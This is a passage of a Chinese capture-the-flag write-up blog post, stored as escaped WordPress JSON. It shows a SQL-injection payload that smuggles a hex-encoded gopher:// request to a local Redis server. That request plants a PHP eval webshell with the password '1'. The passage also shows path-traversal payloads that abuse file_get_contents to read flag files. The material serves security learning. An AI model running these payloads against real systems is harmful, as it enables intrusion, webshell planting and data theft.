    \u8fd8\u53ef\u4ee5\u653b\u51fbredis\u670d\u52a1<\/p>\n
    \u8fd9\u91cc\u501f\u7528\u4e0b\u7fbd\u5e08\u5085\u7684payload\uff1a<\/p>\n
    payload1\uff1a<\/p>\n
    \u9898\u76ee\u4e2d\u7684url\u5b57\u6bb5\u9ed8\u8ba4\u957f\u5ea6\u6700\u957f\u4e3a255\u6240\u4ee5\u6211\u4eec\u9700\u8981\u4fee\u6539\u4e0b<\/p>\n
    search.php?title=1';alter table link modify column url text;<\/code><\/pre>\n
    payload2\uff1a<\/p>\n
    \u7136\u540e\u5c31\u53ef\u4ee5\u6253\u76f8\u5e94\u7684\u670d\u52a1\u4e86<\/p>\n
    search.php?title=1';insert into link values(11,'a',0x676f706865723a2f2f3132372e302e302e313a363337392f5f2532413125304425304125323438253044253041666c757368616c6c2530442530412532413325304425304125323433253044253041736574253044253041253234312530442530413125304425304125323432382530442530412530412530412533432533467068702532306576616c2532382532345f504f5354253542312535442532392533422533462533452530412530412530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343325304425304164697225304425304125323431332530442530412f7661722f7777772f68746d6c2530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343130253044253041646266696c656e616d65253044253041253234372530442530416162632e706870253044253041253241312530442530412532343425304425304173617665253044253041253041);<\/code><\/pre>\n
    \u7136\u540e\u8bbf\u95eelink.php?id=11\u5c31\u4f1a\u751f\u6210abc.php \u5bc6\u7801\u662f1<\/p>\n
    \"image-20230710193712792\"<\/div><\/p>\n
    web383~386\u901a\u89e3<\/h1>\n
    \u6211\u4eec\u53ef\u4ee5\u5229\u7528 file_get_contents() \u51fd\u6570\u7684\u8fd9\u4e2a\u7279\u6027<\/p>\n
    \n
    hint.php?\/..\/..\/..\/flag.php<\/p>\n
    hint.php?\u8fd9\u4e2a\u76ee\u5f55\u4e0d\u5b58\u5728\uff0c\u4f46\u4ecd\u80fd\u591f\u5f80\u4e0a\u8df3\u8f6c4\u7ea7\u76ee\u5f55\uff0c\u53bb\u5305\u542bflag.php<\/p>\n<\/blockquote>\n
    file_get_contents()\u51fd\u6570\u7684\u53c2\u6570\u683c\u5f0f\u4e3a\uff1a<\/p>\n
    file_get_contents('page_'.$id.'.php')<\/code><\/pre>\n
    payload\uff1a<\/p>\n
    url\/page.php?id=1\/..\/..\/..\/..\/var\/www\/html\/alsckdfy\/check\n#flag\u5728check.php\u91cc<\/code><\/pre>\n
    \u603b\u7ed3<\/h1>\n
    \u901a\u8fc7\u8fd9\u51e0\u5929\u5b66\u4e60\u9ed1\u76d2\u6d4b\u8bd5\u90e8\u5206\uff0c\u611f\u89c9\u5728CTF\u4e0e\u5b9e\u6218\u4e2d\u7684\u601d\u8def\u53c8\u6269\u5bbd\u4e86\u4e0d\u5c11<\/p>\n","protected":false},"excerpt":{"rendered":"
    \u9ed1\u76d2\u6d4b\u8bd5\u662f\u4e00\u79cd\u8f6f\u4ef6\u6d4b\u8bd5\u65b9\u6cd5\uff0c\u5b83\u4e3b\u8981\u5173\u6ce8\u4e8e\u6d4b\u8bd5\u7cfb\u7edf\u5916\u90e8\u7684\u529f\u80fd\u548c\u884c\u4e3a\uff0c\u800c\u4e0d\u8003\u8651\u5185\u90e8\u7684\u5b9e\u73b0\u7ec6\u8282\u3002<\/p>\n","protected":false},"author":1,"featured_media":406,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10,22],"tags":[15,26],"class_list":["post-405","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf","category-webs","tag-ctf","tag-web"],"_links":{"self":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/405","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/comments?post=405"}],"version-history":[{"count":4,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/405\/revisions"}],"predecessor-version":[{"id":410,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/405\/revisions\/410"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/media\/406"}],"wp:attachment":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/media?parent=405"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/categories?post=405"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/tags?post=405"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}